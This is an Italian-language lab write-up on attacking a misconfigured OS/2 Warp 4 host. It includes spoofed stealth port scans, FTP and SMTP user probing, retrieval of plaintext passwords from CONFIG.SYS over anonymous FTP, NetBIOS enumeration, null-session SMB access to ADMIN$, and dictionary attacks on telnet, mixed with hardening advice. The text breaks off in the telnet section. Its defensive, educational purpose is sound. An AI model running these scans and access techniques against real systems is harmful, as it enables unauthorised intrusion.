Approccio pratico alla (in)sicurezza di rete in ambiente OS/2 Warp 4 aka Merlin (*,**)

* Minuscolo plagio nei confronti di D.Brent Chapman
** Gli affezionati di OS/2 continuano a riferirsi a Warp 4 come a Merlin, nonostante la beta sia defunta da tempo ;). Forse una nota da vero 'amorevole' supportatore.

Considerazioni

La prefazione più completa ed allo stesso tempo concisa che mi sia capitato di leggere in questi anni è stata sicuramente quella apposta nelle prime pagine del libro di Chapman e Zwicky (1), edito da O'Reilly. In poche parole: NON SIAMO SOLI.
Sebbene il caldo e confortevole ambiente delle nostre workstation ci abbia sempre fornito il completo controllo sulle sue risorse, la rete, intesa come ambiente di relazione tra più macchine, NON è MONOUTENTE. Ovunque è possibile sentire di intrusioni non autorizzate, di furto o distruzione di dati privati o di semplici DOS (inteso come Denial Of Service, ovvero impedimento al funzionamento (2)). Ultimamente sembra che l'hobby maggiore tra i cosiddetti ragazzini degli scripts [script-kiddies] sia quello di affondare macchine dotate di sistemi operativi dei Borg (3). Questo, insieme ad altri problemi suggerirebbe l'ipotesi che gestori di sistemi monoutente non siano ancora pronti interamente all' idea che ci siano altri abitanti nelle profondità delle reti. E che possano non essere del tutto amichevoli.

Ed è sicuramente questo il primo motivo che mi ha spinto alla stesura di questo documento, che altro non è che una trascrizione di alcuni miei esperimenti sull' argomento.
Il secondo deriva sostanzialmente dal fatto che OS/2 sembra vivere di una vita da HighLander: esiste realmente ma nessuno sembra conoscerlo. Quindi è lecito supporre che le varie aziende che lo implementino, possano esser seguite direttamente da IBM a questo riguardo. Oppure che non lo siano affatto, come d'altronde quasi sicuramente le workstation usate da piccoli uffici e dai singoli pionieri ;) .
Mi sembra opportuno fornire alcune precisazioni sullo scritto che state leggendo. Non è un documento completamente tecnico; comunque non vuole esserlo. Cercherò di fornire delucidazioni e di mettere la pulce in qualche orecchio. Non sarà possibile diventare un OS/2 Cracker (4) leggendo queste righe. Quasi sicuramente però alcuni ragazzini (5) avranno ora qualche idea concreta su come agire su un sistema remoto che non si incontra, ahimé, molto di frequente in InterNet.
Dove possibile, tenendo conto dell' obiettivo primario, verranno spiegati alcuni concetti che possano gettar luce su alcuni termini o questioni oscure. Ma non sarà la Treccani degli attacchi e delle contromisure informatiche.

Ultima risposta alla sempre frequente domanda:
"Ma perché rivelare al pubblico queste informazioni ? Questo non metterà a repentaglio la sicurezza di molti nuovi sistemi ?"
PERCHE' è importante che i buoni sappiano quello che i cattivi sanno già (6). E NON sarà un pericolo maggiore dell' AIUTO a vari amministratori di sistemi OS/2 che non abbiano le mani in pasta nelle basi della sicurezza relativa ai protocolli TCP/IP .
Questo 'studiò mostra alcuni approcci, sonde, ed attacchi REMOTI. Non vuole in alcun modo mostrare le possibilità di compromissione LOCALE dei servizi di rete. è abbastanza ovvio che essendo una macchina monoutente che agisca in una LAN come server, non dovrebbe esserci la possibilità di account multipli sulla stessa.
Un' ultima cosa: NO, non ci sono una bibliografia o un' area di referenze. Sto pensando di aggiungerle in una versione formattata; potrebbe essere in formato ps, html, o chissà cosa (WordPro ???), magari con immagini a corredo e tradotta in inglese (come se la volesse davvero qualcuno). Per ora tenete sempre un occhio sulle note in fondo.

Preparazione e Tecnabilia

Ho deciso di evitare ogni tipo di problemi logistici e simil-legali configurando una minuscola rete in casa. La rete è una classica 10Mb del tipo 10baseT con un hub della 3Com. Tre sistemi sono collegati in una rete di tipo C con indirizzi IP non corrispondenti al set preposto per uso privato. Ovvero, di macchine 'possibilmente realmente' esistenti (scusate l'obbrobrio linguistico). Gli attacchi simulati sono stati condotti all' interno della rete. Non starò a tediarvi con le caratteristiche tecniche di ognuna delle macchine usate; se volete annoiarvi potete leggere le pagine della posta di ogni rivista italiana informatica che si rispetti (da sola, nella maggior parte dei casi :PPP ).
Due delle macchine dispongono di vari sistemi operativi in multiboot, usando l'ottimo BootManager della IBM. Una invece è stata configurata con OS/2 WARP 4 scegliendo l'installazione avanzata per aggiungere il necessario ed eliminare ciò che non servisse agli scopi.

Gli attacchi sono stati condotti da Win95 e da Linux.
La macchina con OS/2 è dotata di abbastanza memoria, 32MB, considerato il fatto che non faccia girare alcun altro software al di fuori dei vari server di rete. Questo per assicurare risposte eccellenti agli attacchi (7).
La configurazione è ad ogni modo quella chiavi in mano, ovvero senza fixpak o patch allo stack TCP/IP. Comunque il tipo di attacco non punta tanto ai DOS, quanto alle misconfigurazioni del server stesso. Oltretutto non sono stati testati tanto gli overflow dei buffer ma piuttosto procedure di intrusioni da remoto.
Il sottosistema TCP/IP è stato configurato con tabelle fisse di risoluzione, ovvero compilando il file HOSTS in $\mptn\etc (dove $ è il vostro disco di radice), piuttosto che con DNS o DDNS. Infatti tra i tipi di attacco e ricerca non è presente la corruzione della cache del DNS (8).
Come ogni installazione di Windows o OS/2 in LAN (Local Area Network) che si rispetti, sono presenti funzionalità di condivisione e collegamento tra risorse di diversi pc. La macchina OS/2 è stata configurata con la scelta avanzata in procedura di installazione, facendo ben attenzione a nomi di macchina, dominio, ed utente, SCEGLIENDO PASSWORD COMPLESSE.
Più specificatamente, la macchina ha nome OSSODUE in ambiente NetBios over TCP/IP (scelta che sembra essere la più seguita al giorno d'oggi). Spesso, laddove si utilizzi NetBios, viene aggiunta la possibilità di tunnel in TCP/IP per utilizzare le reti locali in remoto attraverso InterNet. Il nome dominio scelto è stato il solito WORKGROUP, che spesso viene lasciato di default su quasi tutte le macchine Windows dei singoli o di piccoli uffici. Il default per OS/2 è invece IBMPEERS. Comqunque, sulla scelta dei nomi peer si tornerà tra breve.
In ambiente TCP/IP la macchina ha avuto un nome host fittizio, senza un nome di dominio. Sono stati selezionati poi, dalla voce "Configurazione di TCP/IP (LAN)", nella cartella "Sistema OS/2 Warp\Impostazione del sistema" le opzioni di avvio e sicurezza dei demoni (9). I demoni scelti sono stati il superdemone INETD, o internet daemon, che fa partire poi il demone TELNET, FTP, TFTP, REXEC e RSH. Inoltre vengono avviati il PORTMAPPER, SENDMAIL E TALKD (10).

Configurazioni di sicurezza standard

Per quanto riguarda i servizi di Peer viene creato al momento dell' installazione un utente in grado di gestire il sistema. Questo è il primo utente che viene creato durante una installazione di OS/2 WARP 4. Viene scelta una password ed il sistema crea un file NET.ACC nella directory $\ibmlan\accounts .
QUESTO è TUTTO. Non viene richiesto o mostrato altro, sia nella procedura di installazione semplice che remota.
Passando al TCP/IP, è possibile un controllo maggiore DOPO l'installazione mediante il file tcpcfg.exe. Qui viene scelto un nome utente ed il fuso orario. Esatto, UN nome utente. Una grossa sorpresa per molti sarà scoprire che questa informazione non solo non viene nascosta in qualche strana sottodirectory, ma bensì mostrata in caratteri maiuscoli all'interno del file CONFIG.SYS .
Selezionando il campo sicurezza nel taccuino di tcpcfg.exe, è possibile settare una parola chiave (i traduttori IBM la denominano parola d'ordine) per il demone TELNET. Dopodiché è possibile settare gli utenti per il server FTP, specificando nome, password e directory accessibili. Poi si passa a settare la password per il demone REXEC ed è possibile specificare anche gli host 'fidati' per il servizio RSH, immettendo SOLO il loro nome che verrà registrato in $\mptn\etc\rhosts; lo specifico corrispondente indirizzo IP va specificato nel campo nomi Host che modifica tra gli altri il file $\mptn\etc\hosts . è poi possibile specificare gli host che possono accedere al server TFTP configurando anche le directory in modalità di sola lettura o lettura - scrittura.
La funzione di aiuto di tcpcfg.exe è quanto di più scarno vi possa essere se pensiamo che questi sistemi operativi moderni vengono installati non da esperti di reti, ma da persone normali. Fortunatamente esiste un ottimo libro in linea nella cartella "Assistance Center" che aiuta i principianti nella comprensione delle basi delle configurazioni del TCP/IP.
Immaginiamo una configurazione tipo:

la macchina OS/2 ha nome NetBios OSSODUE.
un utente di nome INVY.
nome TCP/IP OSSODUE. (logico vero ?!)
un utente TCP/IP INVY. (sempre più logico ?!)
password uguali per rexecd e telnet.
utenti per ftp, tra cui INVY.
host 'fidati' per RSH, mediante file RHOSTS.

Prima che i più esperti tra di voi corrughino la fronte, lasciatemi dire che questa configurazione è pazzescamente azzardata. Per alcuni motivi:
1) mai usare nomi identificativi del sistema uguali per più servizi; e se possibile non usarne di correlati al tipo di sistema, o locazione geografica, o alla connotazione lavorativa, o agli indirizzi InterNet.
2) evitare se possibile utenti con accessi a servizi multipli, per evitare che un singolo nome utente compromesso comprometta l'intero sistema, soprattutto laddove la macchina sia MONOUTENTE sebbene possa gestire dati mutliutente.
3) se la password per il demone telnet è xxxxxx mai usarla anche per rexec, e oltretutto non installate rexec per dare comandi remoti. Infatti rexec si fida del cliente, chiunque esso sia, se la password è corretta.
4) sistemi 'fidati' possono esserlo solo fino ad un certo punto. Se il fidato viene compromesso, lo sarà anche il vostro. Senza entrare ora nel merito della possibilità di Cracker che impersonifichino il sistema di cui vi fidate.

Oltretutto spesso vengono scelte password molto semplici con banali variazioni sul nome utente. O con i nomi dei propri cari e via dicendo. Ancor più grave il fatto che molte aziende non implementino l'uso obbligatorio di password laddove abbiano solo collegamenti dial-up alla rete. Senza poi parlare del fatto che molte ditte di cui sono a conoscenza non usano password quando si usano strumenti come il Lan Distance Remote per permettere ai dipendenti di lavorare da casa. Per chi fosse scettico, è possibile rincarare la dose dicendo che alcuni servizi bancari adottano in alcune filiali questa politica.

Probabilmente qualcuno di voi si sarà accorto che nelle opzioni standard, non si è fatto riferimento ad operazioni di auditing e log (registrazioni degli eventi di sistema). OS/2 permette un log preciso del sistema, che sebbene non standard, è possibile specificare nei file di avvio. Questo viene chiamato SYSLOG, ma non è la controparte di quello Unix. In effetti tiene conto di trap, errori critici del sistema, etc.
Dopo una breve ricerca nella sottodirectory $\tcpip ho trovato nella dir bin il file syslogd.exe . Questo permette effettivamente di gestire un file di log in una dir scelta a nostro piacimento degi eventi di rete, oppure di inviare il log ai syslogd di altri host sulla rete locale e/o remota. Una grave pecca però che questa opzione non sia presente in tcpcfg.exe dove dovrebbe invece essere.

Sistemi "Nemici"

I sistemi usati per testare le possibilità di intrusione e/o danno remoto di OS/2 sono Win95 e Linux.
Il primo ovviamente è stato scelto per la sua ubiquità , e per il fatto che la maggior parte dei cosiddetti cracker wanna-be usano Win95 in rete. Ed inoltre per una sua innocua caratteristica che lo rende altamente pericoloso o utile, a seconda del punto di vista, all'interno delle LAN.
Linux invece per le sue indubbie qualità nel campo del networking, possedendo (come i vari Free/Net/OpenBSD) uno tra i migliori e veloci stack TCP/IP dei sistemi moderni. Senza considerare il fatto che una macchina unix possiede indubbie qualità nel campo della sicurezza e del crackeraggio che non considereremo n questo ambito.
Entrambi i sistemi hanno le stesse configurazioni hardware di OSSODUE.

Gli Attacchi

Conviene dire immediatamente che non sono stati testati alcuni tipi di attacco, che tra l'altro sono tra i più comuni nelle LAN di computer di tipo unix. Ovvero attacchi contro NFS (Network File System) e X-Window. Questo per una impossibilità a reperire i server richiesti da parte mia; problema che spero di risolvere per la prossima versione.

Mancano attacchi contro il DNS, dal momento che questi tendono a mancare sulle stazioni di lavoro singole, o perché non sono direttamente correlati a, o inerenti OS/2.

Ovviamente sono presenti:
Attacchi contro i sistemi di autenticazione, per forzare accesso ai servizi TELNET, FTP, RSH e NetBios.
Attacchi di scardinamento delle password contro REXEC.
IP Spoofing contro servizi TCP e UDP. (11)
Posta elettronica 'faké contro SENDMAIL
DOS contro i servizi TCP/IP

Portare un attacco ad una macchina sulle reti spesso vuol dire portare un attacco ad un servizio offerto remotamente, o sfruttare le proprie conoscenze sul sistema specifico e sul suo gestore od utenti. Quindi per cominciare eseguiamo un semplice port scanning del sistema remoto; ovvero cerchiamo le 'porte aperté deve risiedono i demoni del sistema remoto.

Port Scanning

Come primo tentativo evitiamo di far suonare tutti gli allarmi (ipoteticamente) di OS/2, utilizzando metodi stealth per la scansione delle porte: ovvero non apriamo delle connessioni vere e proprie, bensì inviamo pacchetti IP con parametri particolari che dovrebbero causare risposte dalle porte aperte diverse da quelle 'chiusé. NON è UN OBIETTIVO DI QUESTO DOCUMENTO chiarificare sui metodi del port-scanning, ma se vi interessa dovreste leggere l'articolo di Uriel Maimon su Phrack #49 .

[root@iNVeRNia phun]# ./nmapper -vv -U -S 111.222.222.111 OSSODUE

L'opzione -S specifica l'indirizzo IP da cui far finta che sia partita la scansione, in modo da sviare il log remoto.
Questo è il risultato: (decurtato per brevità )

1 tcp unknown
2 tcp unknown

.....
.....

1023 tcp unknown
1024 tcp unknown

Questo sembra dovuto ad un difetto dell' implementazione TCP/IP di OS/2 che dovrebbe invece onorare l'invio di pacchetti con flag FIN. Proviamo allora con il metodo SYN stealth.

[root@iNVeRNia phun]# ./nmapper -vv -s -S 111.222.222.111 OSSODUE

The TCP SYN scan took 27 seconds to scan 1024 ports.
No ports open for host OSSODUE (100.100.100.1)

Anche in questo caso qualcosa non ha funzionato. Sembra che lo stack di OS/2 non onori le flag FIN e SYN allo stesso modo di molti altri sistemi. Questo potrebbe non essere un difetto, ma una scelta della IBM per proteggere il sistema dallo stealth scan. Purtroppo, visto che anche Windows risponde anomalmente a questo tipo di scansione, e visto che la scansione FIN è stata teorizzata PUBBLICAMENTE di recente, sembra piuttosto un difetto di questi sistemi e non una funzionalità . D'altra parte questo può riflettersi in sicurezza indiretta a scapito solo della velocità di risposta durante connessioni multiple.
Bisogna quindi provare uno tipico scan aprendo connessioni alle porte TCP e UDP separatamente. Questo approccio appare praticamente sempre nel syslog di sistemi unix dotati di Tcp Wrappers di W. Venema. Questa la risposta di OS/2 al TCP/UDP scan:

Open ports on OSSODUE (100.100.100.1):
Port Number Protocol Service
21 tcp ftp
23 tcp telnet
25 tcp smtp
69 udp tftp
111 udp sunrpc
111 tcp sunrpc
113 tcp auth
137 udp netbios-ns
138 udp netbios-dgm
139 tcp netbios-ssn
140 udp unknown
512 tcp exec
514 tcp shell
514 udp syslog
518 udp talk
7777 tcp unknown

Probabilmente la scansione di porte UDP, usando ICMP non viene registrata da OS/2, ma sicuramente la scansione standard TCP si. Infatti una veloce occhiata al file di log di syslog mostra:

98/01/06 21:32 FTPD:28 connessione da 100.100.100.2
98/01/06 21:32 FTPD:28 LOGOFF da 100.100.100.2
[invernia]
[invernia] blah
[invernia] 5!W

!!!! Soltanto una connessione alla porta FTP (la 21) e null'altro. Decisamente non il tipo di log che ci aspetteremmo. Oltretutto appare per le altre attività solo il nome host, prelevato da $\mptn\etc\hosts. E se questo indirizzo fosse stato spoofato ? Questo non è certamente un tipo di syslogd con cui fare i conti in caso di problemi. Per questo ho cercato un porting della versione Unix. L'ho trovato ed installato immediatamente, speranzoso del fatto che peggio non potesse fare. Purtroppo, sebbene più completo dal punto di visto formale, con nome ed indirizzo IP, solo la connessione al demone FTP risulta. Evidentemente OS/2, come Windows ha bisogno di un wrapper tra il demone e la sua porta che registri nel syslog le connessioni dalla rete.

Ora conosciamo i servizi che questa macchina offre sulla rete. Di norma questi non sono attivi, ma grande può essere la tentazione di automatizzare i collegamenti in ambiente di lavoro con connessioni FTP oltre alle condivisioni Peer, soprattutto vista la presenza della cartella FTP sotto OS/2; o di collegamenti in telnet, per evitare l'uso di software aggiuntivo per la manutenzione remota del sistema. Bisogna però capire che ogni servizio, ed ogni uso aggiuntivo del sistema sono inversamente proporzionali alla sicurezza che il sistema puo'offrire dati questi stessi servizi. Se davvero volete che un sistema sia perfettamente e totalmente sicuro, allora scollegatelo dalla LAN e da modem su via seriale. Ad esempio, sappiate che la tanto decantata sicurezza di livello C2 di NT vale solo per macchine senza scheda di rete e modem, e solo in particolari configurazioni hardware. Ah, e senza il floppy per evitare boot in altri sistemi da cui montare il disco, bypassando ogni sicurezza ;) .... ma questo è un altro problema relativo a quasi ogni sistema operativo. A questo punto conviene esaminare ogni singolo servizio. Dal momento che non è rimanere nascosti l'obiettivo di questo attacco saremo quanto più diretti possibile, per mostrare i lati insicuri di OS/2 e capire come prevenire possibili problemi.

FTPD

Colleghiamoci quindi alla porta 21 del server FTP standard, fornito con il sistema. Il file è ftpd.exe in $\tcpip\bin e usa il file TRUSERS nella MPTN\etc di sistema per convalidare gli utenti. Eccone una copia:

user: ID PASSWD
rd: $DIR IN LETTURA
WD: $DIR IN SCRITTURA

tre righe per ogni utente quindi.
Vediamo un collegamento in FTP:
[root@iNVeRNia /root]# ftp OSSODUE
Connected to OSSODUE.
220 OSSODUE IBM TCP/IP per OS/2 - Server FTP ver 10:06:40 on Sep 5 1996
pronto.
Name (ossodue:root):

questo è quello che appare ... a prima vista proprio come qualunque server ftp. Quello che forse non sapete è che questo server mostri la reale struttura del disco, proprio come eseguendo dir in una finestra OS/2. Questo è un azzardo che può costare nel caso si sia cambiata la disposizione delle directory rilevanti e non si voglia renderlo noto. Non è infatti possibile creare un ambiente FTP in cui mappare a dir fittizie quelle reali.
L'attacco più stupido può procedere cercando di indovinare il nome utente. Di solito, mancando una conoscenza diretta del proprietario della macchina, e non essendoci in questo caso un server FINGER è molto improbabile. Ma giusto per vedere la risposta del server:

Name (ossodue:root): admin
331 Parola d'ordine obbligatoria per admin.
Password:
530 Login errato.
Login failed.
Remote system type is Sistema.

Fortunatamente il sistema chiede anche la password per non rivelare subito che admin non esista. Tanto per essere sicuri l'attaccante si collega alla porta 25 del sistema per esserne sicuro e cercare di strappare qualche nome utente:

[root@iNVeRNia /root]# telnet OSSODUE 25
Trying 100.100.100.1...
Connected to OSSODUE.
Escape character is '^]'.
220-OSSODUE Sendmail IBM OS/2 SENDMAIL VERSION 2.0/2.12um
ready at Tue, 6 Jan 1998 22:25:33 -0500
220 ESMTP spoken here
vrfy admin
250 IBM OS/2 SENDMAIL VERSION 2.0

In questo caso OS/2 si comporta molto bene dal punto di vista della sicurezza, non rivelando che admin non esista ma implementando comunque il comando vrfy per non 'dare nell'occhio'. Il syslog non segnala nulla di insolito tranne una connessione al server FTP.
Se per caso vi fosse venuto in mente di inserire con tcpcfg.exe nel campo degli utenti FTP l'utente anonymous, beh, almeno proteggetelo con una password, in quanto di default anonymous non richiede password o al massimo l'indirizzo di email, cosa sciocca in quanto comunque il server FTP non confronta l'indirizzo con il nome host del cliente.
Questo succede in caso di anonymous presente e NON modificato:

[root@iNVeRNia /root]# ftp ossodue
Connected to NoCTuRNa.losteden.net.
220 nocturna IBM TCP/IP per OS/2 - Server FTP ver 10:06:40 on Sep 5 1996
pronto.
Name (ossodue:root): anonymous
230 Collegamento visitatore ok, applicate le restrizioni di accesso.
Remote system type is Sistema.
ftp>

le cosiddette restrizioni di accesso sono quelle del file TRUSERS. Spesso usando tcpcfg.exe viene spontaneo segnare negli indirizzi permessi il nome del disco: c: o d: . Evitatelo ! Molto meglio inserire un path specifico, come nel config.sys, separato da punto e virgola. Mai lasciare c: aperto alla lettura per anonymous (!!!) :

ftp>pwd
257 Indirizzario corrente: C:/.
ftp> mkdir prova
550 Autorizzazione creazione indirizzari sottoindirizzario 'c:\' negata.
ftp>get config.sys - (abbreviato)
remote: config.sys
200 Comando PORT riuscito.
150 Apertura in modo ASCII connessione dati per config.sys (4953 byte) in corso.

IFS=C:\OS2\HPFS.IFS /CACHE:2048 /CRECL:4 /AUTOCHECK:C
PROTSHELL=C:\OS2\PMSHELL.EXE
SET USER_INI=C:\OS2\OS2.INI
SET SYSTEM_INI=C:\OS2\OS2SYS.INI
SET OS2_SHELL=C:\4OS2\4OS2.EXE
SET AUTOSTART=PROGRAMS,TASKLIST,FOLDERS,WARPCENTER
SET RUNWORKPLACE=C:\OS2\PMSHELL.EXE
SET COMSPEC=C:\4OS2\4OS2.EXE
SET SCUSEPRETTYCLOCK=ON
......
226 Trasferimento completato.
4953 bytes received in 0.874 secs (5.5 Kbytes/sec)

Questo è MOLTO pericoloso; anonymous potrebbe scoprire nel config.sys gran parte dei 'segreti' di OS/2:
SET SNMPDIR=C:\SVCA\ETC
SET PASSWD=assurdo
SET TELNET.PASSWORD.ID=osso2
SET USER=invy

Nell'ordine: il percorso per la directory di configurazione dell' SMNP (Simple Network Management Protocol) per poter attaccare remotamente il sistema. DUE PASSWORD IN CHIARO, una chiaramente per TELNET (!), senza che sia specificato però l'utente, l'altra probabilmente per un altro demone, forse REXEC ? Poi l'utente di sistema ! A questo punto provare a correlare le varie informazioni sarebbe ovvio anche ad un artropode:

[root@iNVeRNia /root]# ftp ossodue
Connected to NoCTuRNa.losteden.net.
220 nocturna IBM TCP/IP per OS/2 - Server FTP ver 10:06:40 on Sep 5 1996
pronto.
Name (ossodue:root): invy
331 Parola d'ordine obbligatoria per invy.
Password:
230 Utente invy collegato.
Remote system type is Sistema.
ftp>

Completo accesso in lettura e SCRITTURA probabilmente per l'utente di sistema. A questo punto l'idea di inserire .dll con archiviatori di password, o .cmd per lanciare demoni in DETACH sembra quasi banale.
Inserendo invece una directory specifica, è possibile limitare l'ambiente FTP di anonymous a quella, impedendo di arrivare al resto del disco. è possibile specificare più directory cui concedere accesso, ma non sarà possibile visualizzarle tutte al login. Anonymous dovrà sapere da sé dove poter andare.
Lo so. Starete pensando che questo non sia uno di quei attacchi di cui si sente molto parlare. Ed in effetti non lo é. Ma pensate solo al fatto che non vi è log di queste attività in un sistema Warp 4 di default, e a quanto ne sappia, neanche nei precedenti. Warp Server dispone invece di migliori strumenti di auditing che farebbero da deterrente a questi tentativi.

Netbios

E se anonymous non fosse presente ? Beh, non è molto difficile arrivare al file CONFIG.SYS dove trovare quelle succulente informazioni. Abbiamo visto che le porte 137-139 sono aperte per ogni buona richiesta NetBios.
Molto bene .... basta usare uno di quei client che si attengano alle specifiche SMB di Lan Manager. Purtroppo, come visto in altri documenti, il protocollo SMB specificato nella white paper CIFS é intrinsecamente INSICURO (12) . Per accedere alle condivisioni occorre però il nome NetBios della macchina. Il primo tentativo è indubbiamente quello di correlare il nome all'indirizzo InterNet, ovvero supporre che entrambi siano OSSODUE. Proprio per questo è vivamente consigliato non farlo:

Nmblookup serve da richiedente al servizio netbios-ns per verificare nomi NetBios validi all'interno di una LAN specificando un indirizzo broadcast. Ovviamente è possibile settare l'indirizzo broadcast così che sia quello del sistema remoto da attaccare. Con l'opzione -S cerchiamo delle corrispondenze nei record netbios-ns.

[root@iNVeRNia /root]# nmblookup -B 100.100.100.1 -S \*
Added interface ip=100.100.100.2 bcast=100.100.100.1 nmask=32.83.101.114
Sending queries to 100.100.100.1
Looking up status of 0.0.0.0
No status response (this is not unusual)

Anche in questo OS/2 risponde meglio della maggioranza di macchine Windows dove NT, addirittura, fornisce tutti i nomi macchina, utente e gruppo. Ma se indovinassimo il nome perché uguale all'indirizzo InterNet, o il gruppo perché ancora quello di default ?

[root@iNVeRNia /root]# nmblookup -B 100.100.100.1 -S \OSSODUE
Added interface ip=100.100.100.2 bcast=100.100.100.1 nmask=32.83.101.114
Sending queries to 100.100.100.1
100.100.100.1 OSSODUE
Looking up status of 100.100.100.1
received 5 names
OSSODUE <00> - B
OSSODUE <03> - B
WORKGROUP <00> - B
OSSODUE <20> - B
INVY <03> - B
num_good_sends=0 num_good_receives=0

In questo caso abbiamo conferma del nome, OSSODUE, vediamo il nome del gruppo, WORKGROUP, ed addirittura un nome utente collegato in quel momento, INVY. Questo nome può essere tentato contro ogni servizio, con alte probabilità di successo.
Questo procedimento non trova alcuna risonanza nella "Registrazione delle attività di rete" nella cartella OS/2 Peer. In pratica è invisibile. Il fatto sorprendente è che questo procedimento venga utilizzato milioni di volte ogni giorno, in tutto il mondo. Da Windows95 e NT 4 ! Già , la famigerata cartella Tutta la Rete mostra proprio le icone di tutti i computer della LAN che rispondano a chiamate alla porta netbios-ns dirette sull'indirizzo broadcast. E, OS/2, per compatibilità Lan Manager, non è da meno, e risponde fedelmente. Solo che spesso le condivisioni non vengono protette da password e sono, nella peggiore dei casi per l'attaccante, completamente libere in lettura !
Ad ogni modo di default OS/2 non condivide le unità di sistema. Ma non è difficile immaginare quanti neo utenti in dial-up con ISP su InterNet si divertano, solo per prova, a creare condivisioni non protette, per usarle sulla piccola rete che hanno in camera da letto !!!
Vediamo un sistema OS/2 senza utenti collegati e senza condivisioni.
Ovvero un sistema vergine:
Smbclient crea connessioni simili all'FTP su risorse condivise in ambiente SMB. L'opzione -L restituisce tutte le risorse trovate.

[root@iNVeRNia /root]# smbclient -L OSSODUE -I 100.100.100.1
Added interface ip=100.100.100.2 bcast=100.100.100.255 nmask=255.255.255.0
Server time is Tue Jan 6 23:12:44 1998
Timezone is UTC+0.0

Server=[OSSODUE] User=[] Workgroup=[WORKGROUP] Domain=[]
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Gestione in remoto
IPC$ IPC IPC remoto

This machine has a browse list:

Server Comment
--------- -------
OSSODUE OS/2 WARP aka Merlin

Hmmm ? ADMIN$ ? IPC$ ? Non avendo settato ancora alcuna risorsa questo sembrerebbe strano. Senza addentrarci in disquisizioni sulla condivisione risorse, sappiate che IPC$ viene SEMPRE condiviso. ADMIN$ risulta quanto meno insolito invece. ADMIN$ infatti punta a $\IBMLAN\ la directory che contiene i file relativi ad IBM Peer e comprende anche il file NET.ACC di cui abbiamo già detto. Proviamo ad accedervi.

[root@iNVeRNia /root]# smbclient \\\\OSSODUE\\ADMIN$ -U "" -I
100.100.100.1
Added interface ip=100.100.100.2 bcast=100.100.100.255 nmask=255.255.255.0
Server time is Tue Jan 6 23:16:04 1998
Timezone is UTC+0.0
Password: (return)
smb: \>

L'opzione -U "" fornisce come nome utente del cliente un NULL. Guarda caso, OS/2, come Windows, fornisce di default un account GUEST di cui non sapevamo nulla !!! Infatti un utente NULL viene mappato come GUEST e gli vengono fornite i permessi del caso, molti a giudicare dall'accesso ad ADMIN$ SENZA FORNIRE PASSWORD !

smb: \> dir
38178 blocks of size 16384. 26648 blocks available
smb: \>

Comunque dal momento che non abbiamo condiviso ancora nulla in lettura, la directory non è leggibile. Ma cosa si vede ? Indicazioni sul contenuto della stessa. Nella peggiore delle ipotesi la ADMIN$ non è leggibile, MA ESEGUIBILE ....

smb: \> cd accounts
smb: \accounts\>

Purtroppo per noi ADMIN$ è eseguibile.

smb: \accounts\> dir
38178 blocks of size 16384. 26648 blocks available
smb: \accounts\> get net.acc
ERRSRV - ERRaccess (The requester does not have the necessary access rights within the specified context for the requested function. The context is defined by the TID or the UID.) opening remote file \accounts\net.acc

Fortunatamente l'attaccante non ha accesso ai file, ma può comunque valutare la struttura del disco con una tecnica di 'provà . Bisogna infatti capire che l'unico parametro che compare nei log di rete é il nome dell' host cliente. Questo può essere facilmente settato con l'opzione -n di smbclient . Certo, un nome come I0wnY0u può suggerire qualcosa, ma se fosse un nome uguale ad un altro della propria LAN ? Magari scoperto seguendo le stesse metodiche suddette ?
Ammettiamo invece che un utente sia collegato, compaia coi nomi macchina in nmblookup e che C:\ sia condiviso nella sua pienezza, anche se solo in lettura. Ovvi obiettivi saranno il CONFIG.SYS, NET.ACC, TRUSERS, RHOSTS. Questo per carpire informazioni per altri attacchi. Se invece fosse condiviso anche in scrittura, beh, il cielo sarebbe il solo limite del Cracker ...

GUEST ha una password nulla, e può essere cancellato o modificato con "Risorse Condivise e Connessioni di Rete" nella cartella Collegamenti, nel sottogruppo Rete.
Abbastanza ovvia la risposta all'ovvia domanda:
"Ok hai un nome utente, ma come puoi condividere la risorsa senza una password ?"
"Semplice. Mai sentito di attacchi col dizionario ? Se i log mostrano solo un nome host per i collegamenti riusciti che posso peraltro scegliere arbitrariamente, posso tentare collegamenti ripetuti con password sempre diverse."
Infatti la possibilità di indovinare password con attacchi sequenziali è maggiore di quella che ogni utente ne abbia una ALMENO sufficientemente sicura, non perfettamente sicura !
Se invece il nome dominio fosse 'sicurò ? Beh, non esistono nomi sicuri e questo lo dimostra proprio Windows95 con la sua opzione Tutta la Rete. All'inizio non conosce minimamente i nomi host, ma è in grado di trovarli con semplici richieste .... se proprio non vi va di usare nmblookup, sono disponibili tool in C compilabili su quasi tutte le piattaforme che automatizzino gli stessi procedimenti. OPPURE BASTA USARE UN WIN95 CON UN FILE LMHOSTS !

[root@iNVeRNia phun]# ./nat ossodue

[*]--- Checking host: 100.100.100.1
[*]--- Obtaining list of remote NetBIOS names
[*]--- Remote systems name tables:

OSSODUE
OSSODUE
WORKGROUP
OSSODUE

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: OSSODUE
[*]--- CONNECTED with name: OSSODUE
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Tue Jan 6 23:35:50 1998
[*]--- Timezone is UTC+0.0
[*]--- Remote server wants us to encrypt, telling it not to

Server=[OSSODUE] User=[] Workgroup=[WORKGROUP] Domain=[]

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Gestione in remoto
IPC$ IPC IPC remoto

This machine has a browse list:
Server Comment
--------- -------
OSSODUE OS/2 WARP aka Merlin

[*]--- Attempting to access share: \\OSSODUE\
[*]--- Unable to access

[*]--- Attempting to access share: \\OSSODUE\ADMIN$
[*]--- WARNING: Able to access share: \\OSSODUE\ADMIN$
[*]--- Checking write access in: \\OSSODUE\ADMIN$
[*]--- Attempting to exercise .. bug on: \\OSSODUE\ADMIN$

Come vedete ogni macchina può essere compromessa se solo abbia una risorsa condivisa non protetta.

Dopo questa breve digressione su NetBios val la pena sottolineare come qui non vengano solo menzionati, ma non discussi altri metodi per carpire utenti e password, come lo sniffing dei pacchetti TCP/IP. O l'uso di applet JAVA in pagine web 'malevolé per aprire connessioni e scansioni sulla LAN vittima.

Telnetd

Il prossimo passo è contro il demone TELNET:

[root@iNVeRNia /root]# telnet ossodue
Trying 100.100.100.1...
Connected to OSSODUE.
Escape character is '^]'.

OS/2 Version 2.4 (OSSODUE)

Immettere parola d'ordine:

In questo aspetto, se da un lato OS/2 offre gratuitamente un server telnet funzionante, soffre della tipica 'deformazione monoutenté. Questo demone sembra proprio creato apposta per gli attacchi con dizionario, come le porte 23 dei router. Vediamo il syslog:

NULLA *** buio assoluto ***

